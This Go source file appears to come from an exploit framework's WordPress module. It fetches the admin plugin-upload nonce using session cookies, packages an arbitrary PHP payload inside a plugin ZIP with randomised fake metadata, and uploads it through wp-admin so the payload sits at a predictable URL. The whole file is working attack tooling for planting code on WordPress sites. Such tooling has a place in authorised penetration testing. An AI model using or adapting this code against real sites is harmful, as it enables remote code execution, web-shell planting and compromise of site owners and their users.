package wordpress

import (
	"archive/zip"
	"bytes"
	"fmt"
	"net/http"
	"regexp"

	"github.com/vulncheck-oss/go-exploit/config"
	"github.com/vulncheck-oss/go-exploit/output"
	"github.com/vulncheck-oss/go-exploit/protocol"
	"github.com/vulncheck-oss/go-exploit/random"
)

// Plugin stub is required for WordPress to successfully validate that the
// uploaded ZIP is a WordPress Plugin.
var pluginStub = `<?php
/*
 * Plugin Name: %s
 * Version: %s 
 * Author: %s 
 * Author URI: %s 
 * License: GPL2
 */
?>`

var (
	PluginInstallPath = `wp-admin/plugin-install.php`
	PluginUpdatePath  = `wp-admin/update.php`
	PluginEditPath    = `wp-admin/plugin-editor.php`
)

// Get the nonce required for administrative plugin actions.
func getPluginNonce(conf *config.Config, cookies []*http.Cookie, path string) (string, bool) {
	url := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, "/"+path)
	cookieString := protocol.CookieString(cookies)
	headers := map[string]string{
		"Cookie": cookieString,
	}
	resp, body, ok := protocol.HTTPSendAndRecvWithHeaders("GET", url, "", headers)
	if !ok {
		output.PrintFrameworkError("WordPress plugin install nonce retrieval failed")
		output.PrintfFrameworkDebug("resp=%#v body=%q", resp, body)

		return "", false
	}
	re := regexp.MustCompile(`id="_wpnonce" name="_wpnonce" value="([a-z0-9]+)"`)
	matches := re.FindStringSubmatch(body)
	if len(matches) < 2 {
		output.PrintFrameworkError("Could not find WordPress nonce for plugin upload")

		return "", false
	}

	return matches[1], true
}

// Generates a ZIP containing the minimum requirement for a WordPress plugin and the provided
// payload. This function returns the name of the internal payload and generally will be resolved to
// `/wp-content/plugins/<name>/<payloadName>`.
func GeneratePlugin(payload, name string) (string, []byte, bool) {
	buf := new(bytes.Buffer)
	w := zip.NewWriter(buf)

	payloadName := random.RandLetters(10) + ".php"
	files := []struct {
		Name, Body string
	}{
		{
			name + ".php", fmt.Sprintf(pluginStub,
				name, // Plugin name
				random.RandDigits(2)+"."+random.RandDigits(2)+"."+random.RandDigits(2), // Version
				random.RandLetters(10),               // Author
				"https://"+random.RandHex(10)+".org", // URI
			),
		},
		{payloadName, payload},
	}
	for _, file := range files {
		f, err := w.Create(file.Name)
		if err != nil {
			output.PrintfFrameworkError("WordPress Plugin failed to generate: %e", err)

			return "", []byte{}, false
		}
		_, err = f.Write([]byte(file.Body))
		if err != nil {
			output.PrintfFrameworkError("WordPress Plugin failed to generate: %e", err)

			return "", []byte{}, false
		}
	}
	err := w.Close()
	if err != nil {
		output.PrintfFrameworkError("WordPress Plugin failed to generate: %e", err)

		return "", []byte{}, false
	}

	return payloadName, buf.Bytes(), true
}

// Uploads a ZIP based plugin for WordPress.
func UploadPlugin(conf *config.Config, cookies []*http.Cookie, zip []byte, name string) (string, bool) {
	nonce, ok := getPluginNonce(conf, cookies, PluginInstallPath)
	if !ok {
		return "", false
	}
	builder, w := protocol.MultipartCreateForm()
	protocol.MultipartAddField(w, "_wpnonce", nonce)
	protocol.MultipartAddField(w, "_wp_http_referer", PluginInstallPath+"?tab=upload")
	protocol.MultipartAddFile(w, "pluginzip", name+".zip", "application/octet-stream", string(zip))
	protocol.MultipartAddField(w, "Install Now", "install-plugin-submit")
	cookieString := protocol.CookieString(cookies)
	headers := map[string]string{
		"Content-Type": w.FormDataContentType(),
		"Cookie":       cookieString,
	}
	url := protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, "/"+PluginUpdatePath+"?action=upload-plugin")
	resp, body, ok := protocol.HTTPSendAndRecvWithHeaders("POST", url, builder.String(), headers)
	if !ok || resp.StatusCode != http.StatusOK {
		output.PrintFrameworkError("WordPress plugin upload failed")
		output.PrintfFrameworkDebug("resp=%#v body=%q", resp, body)

		return "", false
	}
	url = protocol.GenerateURL(conf.Rhost, conf.Rport, conf.SSL, "/wp-content/plugins/"+name)

	return url, true
}
